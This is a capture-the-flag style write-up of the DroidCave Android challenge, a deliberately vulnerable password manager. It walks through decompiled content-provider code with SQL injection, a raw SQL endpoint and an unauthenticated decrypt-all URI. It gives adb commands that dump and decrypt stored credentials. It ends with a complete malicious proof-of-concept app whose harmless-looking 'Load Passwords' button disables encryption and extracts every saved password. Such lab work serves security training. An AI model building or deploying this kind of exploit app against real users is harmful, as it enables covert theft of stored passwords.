Post

DroidCave - 8kSec


Description

Tired of worrying about your password security? DroidCave offers a robust and intuitive password management solution for Android users. Store all your credentials in one secure location with military-grade encryption. Our clean, material design interface makes managing passwords effortless — create categories, generate strong passwords, and access your favorite sites with just one tap.

DroidCave encrypts all sensitive data using industry-standard methods, ensuring your passwords remain protected at all times. Never worry about remembering complex passwords again!


Objective

Create a malicious application that demonstrates your expertise in SQL injection and IPC mechanism exploitation to steal passwords stored in DroidCave, even when the user has enabled password encryption in the settings. Your goal is to develop an Android application with an innocent appearance that can, with just one click of a seemingly normal button, extract both plaintext passwords and the decrypted form of encrypted passwords from the DroidCave database.

Successfully completing this challenge demonstrates how seemingly secure password managers can be compromised through common vulnerabilities, potentially leading to widespread credential theft across multiple services.


Restrictions

Your POC Android exploit APK must work on Android versions up to Android 15 and should not require any additional permissions that the user must explicitly grant.


Explore the application

The application is a password manager that allows users to store their passwords. To access the stored passwords, you must first enter the master password.


After unlocking the app, you can add a new password entry by providing details such as the name, username, password, URL, and notes, then saving the entry.



From the main page, the app displays a list of all the saved password entries.



All passwords are stored in plaintext within a SQLite database.


However, the app includes a feature to encrypt stored passwords, which can be enabled through the app’s settings.



Once encryption is enabled, the passwords are stored in encrypted form within the database.


Analyzing the application using JADX

From: AndroidManifest.xml

1
2
3
4
5
<provider
    android:name="com.eightksec.droidcave.provider.PasswordContentProvider"
    android:exported="true"
    android:authorities="com.eightksec.droidcave.provider"
    android:grantUriPermissions="true"/>
  • android:exported="true" → other apps can access this provider.
  • android:authorities="com.eightksec.droidcave.provider" → this is the URI authority.
  • android:grantUriPermissions="true" → temporary URI access can be granted (e.g., via Intent flags).

because this provider has no permission protection, any app can query it, insert, update, or delete.


From: com.eightksec.droidcave.provider.PasswordContentProvider

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public final class PasswordContentProvider extends ContentProvider {
    public static final String AUTHORITY = "com.eightksec.droidcave.provider";
    private static final int CODE_DISABLE_ENCRYPTION = 7;
    private static final int CODE_ENABLE_ENCRYPTION = 8;
    private static final int CODE_EXECUTE_SQL = 5;
    private static final int CODE_PASSWORDS_DIR = 1;
    private static final int CODE_PASSWORD_ITEM = 2;
    private static final int CODE_PASSWORD_SEARCH = 3;
    private static final int CODE_PASSWORD_TYPE = 4;
    private static final int CODE_SETTINGS = 6;
    private static final int CODE_SET_PASSWORD_PLAINTEXT = 9;
    private static final UriMatcher MATCHER;
    private static final String PATH_DISABLE_ENCRYPTION = "disable_encryption";
    private static final String PATH_ENABLE_ENCRYPTION = "enable_encryption";
    private static final String PATH_EXECUTE_SQL = "execute_sql";
    private static final String PATH_PASSWORDS = "passwords";
    private static final String PATH_PASSWORD_SEARCH = "password_search";
    private static final String PATH_PASSWORD_TYPE = "password_type";
    private static final String PATH_SETTINGS = "settings";
    private static final String PATH_SET_PASSWORD_PLAINTEXT = "set_password_plaintext";
    private static final String TABLE_PASSWORDS = "passwords";
    private SupportSQLiteDatabase database;
    private SharedPreferences sharedPreferences;

    static {
        UriMatcher uriMatcher = new UriMatcher(-1);
        MATCHER = uriMatcher;
        uriMatcher.addURI(AUTHORITY, "passwords", 1);
        uriMatcher.addURI(AUTHORITY, "passwords/#", 2);
        uriMatcher.addURI(AUTHORITY, "password_search/*", 3);
        uriMatcher.addURI(AUTHORITY, "password_type/*", 4);
        uriMatcher.addURI(AUTHORITY, "execute_sql/*", 5);
        uriMatcher.addURI(AUTHORITY, "settings/*", 6);
        uriMatcher.addURI(AUTHORITY, PATH_DISABLE_ENCRYPTION, 7);
        uriMatcher.addURI(AUTHORITY, PATH_ENABLE_ENCRYPTION, 8);
        uriMatcher.addURI(AUTHORITY, "set_password_plaintext/*/*", 9);
    }



CodeURI PatternExample URIMeaning / Likely Function
1"passwords"content://com.eightksec.droidcave.provider/passwordsList all password entries (main table).
2"passwords/#"content://com.eightksec.droidcave.provider/passwords/5A specific password entry by ID.
3"password_search/*"content://.../password_search/facebookSearch passwords by keyword (e.g., “facebook”).
4"password_type/*"content://.../password_type/LOGINFilter passwords by type (LOGIN, CARD, etc.).
5"execute_sql/*"content://.../execute_sql/SELECT+*+FROM+passwordsruns raw SQL Queries
6"settings/*"content://.../settings/get_encryption_enabledRead or modify settings entries.
7PATH_DISABLE_ENCRYPTIONcontent://.../disable_encryptionA custom URI to turn off encryption.
8PATH_ENABLE_ENCRYPTIONcontent://.../enable_encryptionA custom URI to turn on encryption.
9"set_password_plaintext/*/*"content://.../set_password_plaintext/ID/PASSWORDSet or update a password in plaintext.


Case 1: list all saved passwords

From: com.eightksec.droidcave.provider.PasswordContentProvider

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
        MatrixCursor matrixCursor;
        SupportSQLiteDatabase supportSQLiteDatabase;
        SupportSQLiteDatabase supportSQLiteDatabase2;
        Context applicationContext;
        SharedPreferences sharedPreferences;
        SharedPreferences.Editor edit;
        SharedPreferences.Editor putBoolean;
        MatrixCursor matrixCursor2;
        List<String> pathSegments;
        SupportSQLiteDatabase supportSQLiteDatabase3;
        MatrixCursor matrixCursor3;
        Context context;
        SupportSQLiteDatabase supportSQLiteDatabase4;
        Context applicationContext2;
        SharedPreferences sharedPreferences2;
        SharedPreferences.Editor edit2;
        SharedPreferences.Editor putBoolean2;
        MatrixCursor matrixCursor4;
        SharedPreferences sharedPreferences3;
        SharedPreferences sharedPreferences4;
        Intrinsics.checkNotNullParameter(uri, "uri");
        if (this.database == null) {
            return null;
        }
        switch (MATCHER.match(uri)) {
            case 1:
                SupportSQLiteDatabase supportSQLiteDatabase5 = null;
                SupportSQLiteQueryBuilder builder = SupportSQLiteQueryBuilder.INSTANCE.builder("passwords");
                builder.columns(projection);
                if (selection != null) {
                    builder.selection(selection, selectionArgs);
                }
                builder.orderBy(sortOrder == null ? "name ASC" : sortOrder);
                SupportSQLiteDatabase supportSQLiteDatabase6 = this.database;
                if (supportSQLiteDatabase6 == null) {
                    Intrinsics.throwUninitializedPropertyAccessException("database");
                } else {
                    supportSQLiteDatabase5 = supportSQLiteDatabase6;
                }
                return supportSQLiteDatabase5.query(builder.create());


adb example:

1
2
3
4
adb shell content query --uri content://com.eightksec.droidcave.provider/passwords

Row: 0 id=1, name=Facebook, username=karim, password=BLOB, url=https://fb.com, notes=NULL, type=LOGIN, isFavorite=1, createdAt=1761498543026, updatedAt=1761498726779, isEncrypted=0
Row: 1 id=2, name=Github, username=admin, password=BLOB, url=https://github.com, notes=NULL, type=LOGIN, isFavorite=0, createdAt=1761498595528, updatedAt=1761498726787, isEncrypted=0


Case 2: Query a specific password entry by its ID

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    case 2:
        SupportSQLiteDatabase supportSQLiteDatabase7 = null;
        String lastPathSegment = uri.getLastPathSegment();
        SupportSQLiteQueryBuilder builder2 = SupportSQLiteQueryBuilder.INSTANCE.builder("passwords");
        builder2.columns(projection);
        builder2.selection("id = ?", new String[]{lastPathSegment});
        SupportSQLiteDatabase supportSQLiteDatabase8 = this.database;
        if (supportSQLiteDatabase8 == null) {
            Intrinsics.throwUninitializedPropertyAccessException("database");
        } else {
            supportSQLiteDatabase7 = supportSQLiteDatabase8;
        }
        return supportSQLiteDatabase7.query(builder2.create());


adb example:

1
2
3
adb shell content query --uri content://com.eightksec.droidcave.provider/passwords/1

Row: 0 id=1, name=Facebook, username=karim, password=BLOB, url=https://fb.com, notes=NULL, type=LOGIN, isFavorite=1, createdAt=1761498543026, updatedAt=1761498726779, isEncrypted=0


1
2
3
adb shell content query --uri content://com.eightksec.droidcave.provider/passwords/2

Row: 0 id=2, name=Github, username=admin, password=BLOB, url=https://github.com, notes=NULL, type=LOGIN, isFavorite=0, createdAt=1761498595528, updatedAt=1761498726787, isEncrypted=0


Case 3: Search for password entries containing a specific keyword in the name, username, or notes fields

1
2
3
4
5
6
7
8
9
10
11
12
13
    case 3:
        SupportSQLiteDatabase supportSQLiteDatabase9 = null;
        String lastPathSegment2 = uri.getLastPathSegment();
        String str = lastPathSegment2 == null ? "" : lastPathSegment2;
        String str2 = "SELECT * FROM passwords WHERE name LIKE '%" + str + "%' OR username LIKE '%" + str + "%' OR notes LIKE '%" + str + "%'";
        SupportSQLiteDatabase supportSQLiteDatabase10 = this.database;
        if (supportSQLiteDatabase10 == null) {
            Intrinsics.throwUninitializedPropertyAccessException("database");
        } else {
            supportSQLiteDatabase9 = supportSQLiteDatabase10;
        }
        return supportSQLiteDatabase9.query(str2);


adb example:

1
2
3
adb shell content query --uri content://com.eightksec.droidcave.provider/password_search/face

Row: 0 id=1, name=Facebook, username=karim, password=BLOB, url=https://fb.com, notes=NULL, type=LOGIN, isFavorite=1, createdAt=1761498543026, updatedAt=1761498726779, isEncrypted=0


Case 4: Query passwords filtered by their type

1
2
3
4
5
6
7
8
9
10
11
12
    case 4:
        SupportSQLiteDatabase supportSQLiteDatabase11 = null;
        String lastPathSegment3 = uri.getLastPathSegment();
        String str3 = "SELECT * FROM passwords WHERE type = '" + (lastPathSegment3 == null ? "" : lastPathSegment3) + "'";
        SupportSQLiteDatabase supportSQLiteDatabase12 = this.database;
        if (supportSQLiteDatabase12 == null) {
            Intrinsics.throwUninitializedPropertyAccessException("database");
        } else {
            supportSQLiteDatabase11 = supportSQLiteDatabase12;
        }
        return supportSQLiteDatabase11.query(str3);


adb example:

1
2
3
4
adb shell content query --uri content://com.eightksec.droidcave.provider/password_type/LOGIN

Row: 0 id=1, name=Facebook, username=karim, password=BLOB, url=https://fb.com, notes=NULL, type=LOGIN, isFavorite=1, createdAt=1761498543026, updatedAt=1761498726779, isEncrypted=0
Row: 1 id=2, name=Github, username=admin, password=BLOB, url=https://github.com, notes=NULL, type=LOGIN, isFavorite=0, createdAt=1761498595528, updatedAt=1761498726787, isEncrypted=0


Case 5: execute_sql allows you to run a custom SQL query

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
    case 5:
        SupportSQLiteDatabase supportSQLiteDatabase13 = null;
        String lastPathSegment4 = uri.getLastPathSegment();
        if (lastPathSegment4 == null) {
            lastPathSegment4 = "";
        }
        try {
            SupportSQLiteDatabase supportSQLiteDatabase14 = this.database;
            if (supportSQLiteDatabase14 == null) {
                Intrinsics.throwUninitializedPropertyAccessException("database");
            } else {
                supportSQLiteDatabase13 = supportSQLiteDatabase14;
            }
            return supportSQLiteDatabase13.query(lastPathSegment4);
        } catch (Exception e) {
            Log.e("PasswordProvider", "SQL Error: " + e.getMessage(), e);
            MatrixCursor matrixCursor5 = new MatrixCursor(new String[]{"error"});
            matrixCursor5.addRow(new String[]{"SQL Error: " + e.getMessage()});
            return matrixCursor5;
        }


adb example:

1
adb shell content query --uri content://com.eightksec.droidcave.provider/execute_sql/select * from passwords;


1
2
3
4
adb shell content query --uri content://com.eightksec.droidcave.provider/execute_sql/select%20*%20from%20passwords;

Row: 0 id=1, name=Facebook, username=karim, password=BLOB, url=https://fb.com, notes=NULL, type=LOGIN, isFavorite=1, createdAt=1761498543026, updatedAt=1761498726779, isEncrypted=0
Row: 1 id=2, name=Github, username=admin, password=BLOB, url=https://github.com, notes=NULL, type=LOGIN, isFavorite=0, createdAt=1761498595528, updatedAt=1761498726787, isEncrypted=0


Case 6: allows the content provider to manage the app’s encryption setting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
    case 6:
        String lastPathSegment5 = uri.getLastPathSegment();
        if (lastPathSegment5 == null) {
            lastPathSegment5 = "";
        }
        if (StringsKt.startsWith$default(lastPathSegment5, "get_", false, 2, (Object) null)) {
            String substring = lastPathSegment5.substring(4);
            Intrinsics.checkNotNullExpressionValue(substring, "substring(...)");
            MatrixCursor matrixCursor6 = new MatrixCursor(new String[]{"key", "value"});
            if (Intrinsics.areEqual(substring, SettingsViewModel.KEY_ENCRYPTION_ENABLED)) {
                SharedPreferences sharedPreferences5 = this.sharedPreferences;
                if (sharedPreferences5 == null) {
                    Intrinsics.throwUninitializedPropertyAccessException("sharedPreferences");
                    sharedPreferences4 = null;
                } else {
                    sharedPreferences4 = sharedPreferences5;
                }
                matrixCursor6.addRow(new String[]{SettingsViewModel.KEY_ENCRYPTION_ENABLED, String.valueOf(sharedPreferences4.getBoolean(SettingsViewModel.KEY_ENCRYPTION_ENABLED, false))});
            } else if (Intrinsics.areEqual(substring, "all")) {
                SharedPreferences sharedPreferences6 = this.sharedPreferences;
                if (sharedPreferences6 == null) {
                    Intrinsics.throwUninitializedPropertyAccessException("sharedPreferences");
                    sharedPreferences3 = null;
                } else {
                    sharedPreferences3 = sharedPreferences6;
                }
                matrixCursor6.addRow(new String[]{SettingsViewModel.KEY_ENCRYPTION_ENABLED, String.valueOf(sharedPreferences3.getBoolean(SettingsViewModel.KEY_ENCRYPTION_ENABLED, false))});
            }
            matrixCursor4 = matrixCursor6;
        } else {
            matrixCursor4 = null;
            SharedPreferences sharedPreferences7 = null;
            if (StringsKt.startsWith$default(lastPathSegment5, "set_", false, 2, (Object) null)) {
                String substring2 = lastPathSegment5.substring(4);
                Intrinsics.checkNotNullExpressionValue(substring2, "substring(...)");
                List split$default = StringsKt.split$default((CharSequence) substring2, new String[]{"="}, false, 0, 6, (Object) null);
                if (split$default.size() == 2) {
                    String str4 = (String) split$default.get(0);
                    String str5 = (String) split$default.get(1);
                    if (Intrinsics.areEqual(str4, SettingsViewModel.KEY_ENCRYPTION_ENABLED)) {
                        boolean equals = StringsKt.equals(str5, "true", true);
                        SharedPreferences sharedPreferences8 = this.sharedPreferences;
                        if (sharedPreferences8 == null) {
                            Intrinsics.throwUninitializedPropertyAccessException("sharedPreferences");
                        } else {
                            sharedPreferences7 = sharedPreferences8;
                        }
                        sharedPreferences7.edit().putBoolean(SettingsViewModel.KEY_ENCRYPTION_ENABLED, equals).apply();
                        if (equals) {
                            Uri parse = Uri.parse("content://com.eightksec.droidcave.provider/enable_encryption");
                            Intrinsics.checkNotNullExpressionValue(parse, "parse(...)");
                            return query(parse, null, null, null, null);
                        }
                        Uri parse2 = Uri.parse("content://com.eightksec.droidcave.provider/disable_encryption");
                        Intrinsics.checkNotNullExpressionValue(parse2, "parse(...)");
                        return query(parse2, null, null, null, null);
                    }
                    matrixCursor4 = new MatrixCursor(new String[]{"error"});
                    matrixCursor4.addRow(new String[]{"Unknown setting: " + str4});
                } else {
                    matrixCursor4 = new MatrixCursor(new String[]{"error"});
                    matrixCursor4.addRow(new String[]{"Invalid format. Use set_key=value"});
                }
            }
        }
        return matrixCursor4;


URIAction
content://com.eightksec.droidcave.provider/settings/get_encryption_enabledReads whether encryption is enabled
content://com.eightksec.droidcave.provider/settings/set_encryption_enabled=trueEnables encryption
content://com.eightksec.droidcave.provider/settings/set_encryption_enabled=falseDisables encryption
content://com.eightksec.droidcave.provider/settings/get_allLists all settings (currently just encryption_enabled)


adb example:

1
2
adb shell content query --uri content://com.eightksec.droidcave.provider/settings/get_encryption_enabled
Row: 0 key=encryption_enabled, value=false


1
2
3
adb shell content query --uri content://com.eightksec.droidcave.provider/settings/set_encryption_enabled=true

Row: 0 result=Encryption enabled and 2 passwords encrypted. Failed: 0


1
2
3
adb shell content query --uri content://com.eightksec.droidcave.provider/settings/set_encryption_enabled=false

Row: 0 result=Encryption disabled and 2 passwords successfully decrypted.


Case 7: Decrypt all encrypted passwords

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
case 7:
        try {
            SharedPreferences sharedPreferences9 = this.sharedPreferences;
            if (sharedPreferences9 == null) {
                Intrinsics.throwUninitializedPropertyAccessException("sharedPreferences");
                sharedPreferences9 = null;
            }
            sharedPreferences9.edit().putBoolean(SettingsViewModel.KEY_ENCRYPTION_ENABLED, false).commit();
            Context context2 = getContext();
            if (context2 != null && (applicationContext = context2.getApplicationContext()) != null && (sharedPreferences = applicationContext.getSharedPreferences("settings_prefs", 0)) != null && (edit = sharedPreferences.edit()) != null && (putBoolean = edit.putBoolean(SettingsViewModel.KEY_ENCRYPTION_ENABLED, false)) != null) {
                Boolean.valueOf(putBoolean.commit());
            }
        } catch (Exception e2) {
            MatrixCursor matrixCursor7 = new MatrixCursor(new String[]{"error"});
            matrixCursor7.addRow(new String[]{"Error disabling encryption: " + e2.getMessage()});
            matrixCursor = matrixCursor7;
        }
        try {
            EncryptionService encryptionService = new EncryptionService();
            SupportSQLiteDatabase supportSQLiteDatabase15 = this.database;
            if (supportSQLiteDatabase15 == null) {
                Intrinsics.throwUninitializedPropertyAccessException("database");
                supportSQLiteDatabase15 = null;
            }
            Cursor query = supportSQLiteDatabase15.query("SELECT id, password FROM passwords WHERE isEncrypted = 1");
            ArrayList arrayList = new ArrayList();
            ArrayList arrayList2 = new ArrayList();
            while (query.moveToNext()) {
                long j = query.getLong(query.getColumnIndexOrThrow("id"));
                byte[] blob = query.getBlob(query.getColumnIndexOrThrow("password"));
                try {
                    Intrinsics.checkNotNull(blob);
                    byte[] bytes = encryptionService.decrypt(blob).getBytes(Charsets.UTF_8);
                    Intrinsics.checkNotNullExpressionValue(bytes, "getBytes(...)");
                    ContentValues contentValues = new ContentValues();
                    contentValues.put("password", bytes);
                    contentValues.put("isEncrypted", (Integer) 0);
                    SupportSQLiteDatabase supportSQLiteDatabase16 = this.database;
                    if (supportSQLiteDatabase16 == null) {
                        Intrinsics.throwUninitializedPropertyAccessException("database");
                        supportSQLiteDatabase2 = null;
                    } else {
                        supportSQLiteDatabase2 = supportSQLiteDatabase16;
                    }
                    if (supportSQLiteDatabase2.update("passwords", 5, contentValues, "id = ?", new String[]{String.valueOf(j)}) > 0) {
                        arrayList.add(String.valueOf(j));
                    } else {
                        arrayList2.add(String.valueOf(j));
                    }
                } catch (Exception e3) {
                    Log.e("PasswordProvider", "Error decrypting password ID: " + j, e3);
                    try {
                        byte[] bytes2 = "password123".getBytes(Charsets.UTF_8);
                        Intrinsics.checkNotNullExpressionValue(bytes2, "getBytes(...)");
                        ContentValues contentValues2 = new ContentValues();
                        contentValues2.put("password", bytes2);
                        contentValues2.put("isEncrypted", (Integer) 0);
                        SupportSQLiteDatabase supportSQLiteDatabase17 = this.database;
                        if (supportSQLiteDatabase17 == null) {
                            Intrinsics.throwUninitializedPropertyAccessException("database");
                            supportSQLiteDatabase = null;
                        } else {
                            supportSQLiteDatabase = supportSQLiteDatabase17;
                        }
                        supportSQLiteDatabase.update("passwords", 5, contentValues2, "id = ?", new String[]{String.valueOf(j)});
                        arrayList2.add(j + " (set to fallback)");
                    } catch (Exception e4) {
                        Log.e("PasswordProvider", "Error setting fallback password for ID: " + j, e4);
                        arrayList2.add(j + " (complete failure)");
                    }
                }
            }
            query.close();
            matrixCursor = new MatrixCursor(new String[]{"result"});
            if (arrayList2.isEmpty()) {
                matrixCursor.addRow(new String[]{"Encryption disabled and " + arrayList.size() + " passwords successfully decrypted."});
            } else {
                matrixCursor.addRow(new String[]{"Encryption disabled. " + arrayList.size() + " passwords decrypted successfully. " + arrayList2.size() + " failed and were set to fallback value."});
            }
            return matrixCursor;
        } catch (Exception e5) {
            Log.e("PasswordProvider", "Error creating EncryptionService", e5);
            throw e5;
        }


StepActionResult
1Disable encryption flag in SharedPreferencesApp won’t encrypt new passwords
2Query all encrypted passwordsSelect isEncrypted = 1
3Decrypt each passwordReplace encrypted BLOBs with plaintext
4If decryption failsReplace with "password123" fallback
5Return summaryShow how many were decrypted / failed


adb example:

1
2
3
4
5
adb shell content query --uri content://com.eightksec.droidcave.provider/disable_encryption
Row: 0 result=Encryption disabled and 2 passwords successfully decrypted.

adb shell content query --uri content://com.eightksec.droidcave.provider/settings/get_encryption_enabled
Row: 0 key=encryption_enabled, value=false


Case 8: Encrypt all decrypted passwords

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
case 8:
        try {
            SharedPreferences sharedPreferences10 = this.sharedPreferences;
            if (sharedPreferences10 == null) {
                Intrinsics.throwUninitializedPropertyAccessException("sharedPreferences");
                sharedPreferences10 = null;
            }
            sharedPreferences10.edit().putBoolean(SettingsViewModel.KEY_ENCRYPTION_ENABLED, true).commit();
            Context context3 = getContext();
            if (context3 != null && (applicationContext2 = context3.getApplicationContext()) != null && (sharedPreferences2 = applicationContext2.getSharedPreferences("settings_prefs", 0)) != null && (edit2 = sharedPreferences2.edit()) != null && (putBoolean2 = edit2.putBoolean(SettingsViewModel.KEY_ENCRYPTION_ENABLED, true)) != null) {
                Boolean.valueOf(putBoolean2.commit());
            }
            context = getContext();
        } catch (Exception e6) {
            Log.e("PasswordProvider", "Error enabling encryption", e6);
            MatrixCursor matrixCursor8 = new MatrixCursor(new String[]{"error"});
            matrixCursor8.addRow(new String[]{"Error enabling encryption: " + e6.getMessage()});
            matrixCursor3 = matrixCursor8;
        }
        if ((context != null ? context.getApplicationContext() : null) == null) {
            throw new IllegalStateException("Context is null");
        }
        try {
            EncryptionService encryptionService2 = new EncryptionService();
            SupportSQLiteDatabase supportSQLiteDatabase18 = this.database;
            if (supportSQLiteDatabase18 == null) {
                Intrinsics.throwUninitializedPropertyAccessException("database");
                supportSQLiteDatabase18 = null;
            }
            Cursor query2 = supportSQLiteDatabase18.query("SELECT id, password FROM passwords WHERE isEncrypted = 0");
            ArrayList arrayList3 = new ArrayList();
            ArrayList arrayList4 = new ArrayList();
            while (query2.moveToNext()) {
                long j2 = query2.getLong(query2.getColumnIndexOrThrow("id"));
                byte[] blob2 = query2.getBlob(query2.getColumnIndexOrThrow("password"));
                try {
                    Intrinsics.checkNotNull(blob2);
                    byte[] encrypt = encryptionService2.encrypt(new String(blob2, Charsets.UTF_8));
                    ContentValues contentValues3 = new ContentValues();
                    contentValues3.put("password", encrypt);
                    contentValues3.put("isEncrypted", (Integer) 1);
                    SupportSQLiteDatabase supportSQLiteDatabase19 = this.database;
                    if (supportSQLiteDatabase19 == null) {
                        Intrinsics.throwUninitializedPropertyAccessException("database");
                        supportSQLiteDatabase4 = null;
                    } else {
                        supportSQLiteDatabase4 = supportSQLiteDatabase19;
                    }
                    if (supportSQLiteDatabase4.update("passwords", 5, contentValues3, "id = ?", new String[]{String.valueOf(j2)}) > 0) {
                        arrayList3.add(String.valueOf(j2));
                    } else {
                        arrayList4.add(String.valueOf(j2));
                    }
                } catch (Exception e7) {
                    Log.e("PasswordProvider", "Error encrypting password ID: " + j2, e7);
                    arrayList4.add(String.valueOf(j2));
                }
            }
            query2.close();
            matrixCursor3 = new MatrixCursor(new String[]{"result"});
            matrixCursor3.addRow(new String[]{"Encryption enabled and " + arrayList3.size() + " passwords encrypted. Failed: " + arrayList4.size()});
            return matrixCursor3;
        } catch (Exception e8) {
            Log.e("PasswordProvider", "Error creating EncryptionService", e8);
            throw e8;
        }


StepActionResult
1Enable encryption in SharedPreferencesThe app’s encryption flag is set to true
2Query all unencrypted passwordsSelect isEncrypted = 0
3Encrypt each passwordStore encrypted bytes in database
4Handle failuresLog and count failed encryptions
5Return summary“Encryption enabled and X passwords encrypted. Failed: Y”


adb example:

1
2
3
4
5
6
adb shell content query --uri content://com.eightksec.droidcave.provider/enable_encryption
Row: 0 result=Encryption enabled and 2 passwords encrypted. Failed: 0


adb shell content query --uri content://com.eightksec.droidcave.provider/settings/get_encryption_enabled
Row: 0 key=encryption_enabled, value=true


Android app PoC

AndroidManifest.xml

1
2
3
<queries>
    <package android:name="com.eightksec.droidcave" />
</queries>


MainActivity.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package com.example.droidcave;


import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;

import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {

        TextView textView;

        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            EdgeToEdge.enable(this);
            setContentView(R.layout.activity_main);

            Button button = findViewById(R.id.button);
            textView = findViewById(R.id.textView);

            button.setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View v) {
                    DisableEncryptionAndLoadPasswords();
                }
            });
        }

        private void DisableEncryptionAndLoadPasswords() {
            getContentResolver().query(Uri.parse("content://com.eightksec.droidcave.provider/disable_encryption"), null, null, null, null);
            StringBuilder result = new StringBuilder();
          //  Uri uri = Uri.parse("content://com.eightksec.droidcave.provider/passwords");
          	  Uri uri = Uri.parse("content://com.eightksec.droidcave.provider/execute_sql/SELECT%20*%20FROM%20passwords"); // SELECT * FROM passwords;

            Cursor cursor = null;

            try {
                cursor = getContentResolver().query(uri, null, null, null, null);

                if (cursor != null && cursor.moveToFirst()) {
                    do {
                        result.append("──────────────\n");
                        for (int i = 0; i < cursor.getColumnCount(); i++) {
                            String column = cursor.getColumnName(i);
                            int type = cursor.getType(i);
                            String value;

                            if (type == Cursor.FIELD_TYPE_STRING) {
                                value = cursor.getString(i);
                            } else if (type == Cursor.FIELD_TYPE_INTEGER) {
                                value = String.valueOf(cursor.getInt(i));
                            } else if (type == Cursor.FIELD_TYPE_BLOB) {
                                value = "[BLOB] " + new String(cursor.getBlob(i));
                            } else {
                                value = "[UNKNOWN]";
                            }

                            result.append(column).append(" = ").append(value).append("\n");
                        }
                        result.append("\n");

                    } while (cursor.moveToNext());
                } else {
                    result.append("No data found or query failed.");
                }

                textView.setText(result.toString());

            } catch (Exception e) {
                Log.e("DroidCave", "Query failed", e);
                textView.setText("Error: " + e.getMessage());
            } finally {
                if (cursor != null) cursor.close();
            }

    }
}


layout/activity_main.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:id="@+id/main"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    android:padding="16dp"
    tools:context=".MainActivity">

    <Button
        android:id="@+id/button"
        android:layout_width="251dp"
        android:layout_height="62dp"
        android:text="Load Passwords"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.91" />


    <ScrollView
        android:layout_width="366dp"
        android:layout_height="513dp"
        app:layout_constraintBottom_toTopOf="@+id/button"
        app:layout_constraintTop_toTopOf="parent"
        tools:layout_editor_absoluteX="0dp">

        <TextView
            android:id="@+id/textView"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:padding="8dp"
            android:textColor="#222222"
            android:textSize="16sp" />
    </ScrollView>
</androidx.constraintlayout.widget.ConstraintLayout>



Query only the username and the password: SELECT username, password FROM passwords

1
2
    Uri uri = Uri.parse("content://com.eightksec.droidcave.provider/execute_sql/SELECT%20username%2Cpassword%20FROM%20passwords");



Download the PoC exploit app from here

This post is licensed under CC BY 4.0 by the author.